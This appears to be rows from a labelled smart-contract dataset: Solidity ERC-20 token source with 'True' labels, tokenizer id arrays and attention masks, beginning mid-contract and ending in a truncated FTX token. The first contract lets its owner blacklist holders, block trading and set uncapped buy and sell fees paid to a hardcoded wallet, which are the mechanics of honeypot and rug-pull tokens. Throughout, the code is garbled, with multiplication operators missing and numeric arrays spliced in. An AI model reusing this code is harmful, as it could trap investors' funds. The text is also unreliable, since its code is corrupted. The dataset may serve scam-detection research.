uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x4CdB8674716f7096B7bfdE75CB6f869B6Df0d94d); address payable private _marketingAddress = payable(0x4CdB8674716f7096B7bfdE75CB6f869B6Df0d94d); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 10*9; uint256 public _maxWalletSize = 20000 10*9; uint256 public _swapTokensAtAmount = 10000 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] \|\| _isExcludedFromFee[to]) \|\| (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress \|\| _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress \|\| _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6021, 1011, 2322, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1023, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 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4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1065, 3206, 2219, 3085, 2003, 6123, 1063, 4769, 2797, 1035, 3954, 1025, 4769, 2797, 1035, 3025, 12384, 2121, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 3025, 12384, 2121, 1010, 4769, 25331, 2047, 12384, 2121, 1007, 1025, 9570, 2953, 1006, 1007, 1063, 4769, 5796, 5620, 10497, 2121, 1027, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 1025, 1035, 3954, 1027, 5796, 5620, 10497, 2121, 1025, 12495, 2102, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 1006, 1014, 1007, 1010, 5796, 5620, 10497, 2121, 1007, 1025, 1065, 3853, 3954, 1006, 1007, 2270, 3193, 5651, 1006, 4769, 1007, 1063, 2709, 1035, 3954, 1025, 1065, 16913, 18095, 2069, 12384, 2121, 1006, 1007, 1063, 5478, 1006, 1035, 3954, 1027, 1027, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 1010, 1000, 2219, 3085, 1024, 20587, 2003, 2025, 1996, 3954, 1000, 1007, 1025, 1035, 1025, 1065, 3853, 17738, 17457, 12384, 2545, 5605, 1006, 1007, 2270, 7484, 2069, 12384, 2121, 1063, 12495, 2102, 6095, 6494, 3619, 7512, 5596, 1006, 1035, 3954, 1010, 4769, 1006, 1014, 1007, 1007, 1025, 1035, 3954, 1027, 4769, 1006, 1014, 1007, 1025, 1065, 3853, 4651, 12384, 2545, 5605, 1006, 4769, 2047, 12384, 2121, 1007, 2270, 7484, 2069, 12384, 2121, 1063, 5478, 1006, 2047, 12384, 2121, 999, 1027, 4769, 1006, 1014, 1007, 1010, 1000, 2219, 3085, 1024, 2047, 3954, 2003, 1996, 5717, 4769, 1000, 1007, 1025, 12495, 2102, 6095, 6494, 3619, 7512, 5596, 1006, 1035, 3954, 1010, 2047, 12384, 2121, 1007, 1025, 1035, 3954, 1027, 2047, 12384, 2121, 1025, 1065, 1065, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'GameBit' token contract // // Deployed to : 0x5A86f0cafD4ef3ba4f0344C138afcC84bd1ED222 // Symbol : GBT // Name : GameBit // Total supply: 100000000 // Decimals : 18 // // Enjoy. // // (c) by GameBit. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 \|\| c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract GameBit is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function GameBit() public { symbol = "GBT"; name = "GameBit"; decimals = 0; _totalSupply = 30000000; balances[0x27bbc5596cdb8c5b704dddf546a5b692921c9baa] = _totalSupply; Transfer(address(0), 0x27bbc5596cdb8c5b704dddf546a5b692921c9baa, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 1004, 1001, 4464, 1025, 2208, 16313, 1004, 1001, 4464, 1025, 19204, 3206, 1013, 1013, 1013, 1013, 7333, 2000, 1024, 1014, 2595, 2629, 2050, 20842, 2546, 2692, 3540, 2546, 2094, 2549, 12879, 2509, 3676, 2549, 2546, 2692, 22022, 2549, 2278, 17134, 2620, 10354, 9468, 2620, 2549, 2497, 2094, 2487, 2098, 19317, 2475, 1013, 1013, 6454, 1024, 16351, 2102, 1013, 1013, 2171, 1024, 2208, 16313, 1013, 1013, 2561, 4425, 1024, 6694, 8889, 8889, 2692, 1013, 1013, 26066, 2015, 1024, 2324, 1013, 1013, 1013, 1013, 5959, 1012, 1013, 1013, 1013, 1013, 1006, 1039, 1007, 2011, 2208, 16313, 1012, 1996, 10210, 11172, 1012, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 3647, 8785, 2015, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 3206, 3647, 18900, 2232, 1063, 3853, 3647, 4215, 2094, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 2270, 5760, 5651, 1006, 21318, 3372, 1039, 1007, 1063, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1007, 1025, 1065, 3853, 3647, 6342, 2497, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 2270, 5760, 5651, 1006, 21318, 3372, 1039, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1007, 1025, 1039, 1027, 1037, 1011, 1038, 1025, 1065, 3853, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error * https://github.com/OpenZeppelin/zeppelin-solidity/ / library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function cei(uint256 a, uint256 b) internal pure returns (uint256) { return ((a + b - 1) / b) * b; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 * https://github.com/OpenZeppelin/zeppelin-solidity/ / contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /* * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 * https://github.com/OpenZeppelin/zeppelin-solidity/ / contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @title Basic token * @dev Basic version of StandardToken, with no allowances. * https://github.com/OpenZeppelin/zeppelin-solidity/ / contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /* * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. / function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /* * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. / function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /* * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * https://github.com/OpenZeppelin/zeppelin-solidity/ / contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /* * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred / function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /* * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. / function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /* * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. / function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /* * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol / function increaseApproval (address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /* * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". * https://github.com/OpenZeppelin/zeppelin-solidity/ / contract Ownable { address public owner; // Operational owner. address public masterOwner = 0x5D1EC7558C8D1c40406913ab5dbC0Abf1C96BA42; // for ownership transfer segregation of duty, hard coded to wallet account event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. / function Ownable() public { owner = msg.sender; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(msg.sender == owner); _; } /* * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. / function transferOwnership(address newOwner) public { require(newOwner != address(0)); require(masterOwner == msg.sender); // only master owner can initiate change to ownershipe OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract FTXToken is StandardToken, Ownable { / metadata / string public constant NAME = "Fincoin"; string public constant SYMBOL = "FTX"; string public constant VERSION = "0.9"; uint8 public constant DECIMALS = 18; / all accounts in wei / uint256 public constant INITIAL_SUPPLY = 100000000 10*18; uint256 public constant FINTRUX_RESERVE_FTX = 10000000 10*18; uint256 public constant CROSS_RESERVE_FTX = 5000000 10*18; uint256 public constant TEAM_RESERVE_FTX = 10000000 10*18; // these three multi-sig addresses will be replaced on production: address public constant FINTRUX_RESERVE = 0x633348b01B3f59c8A445365FB2ede865ecc94a0B; address public constant CROSS_RESERVE = 0xED200B7BC7044290c99993341a82a21c4c7725DB; address public constant 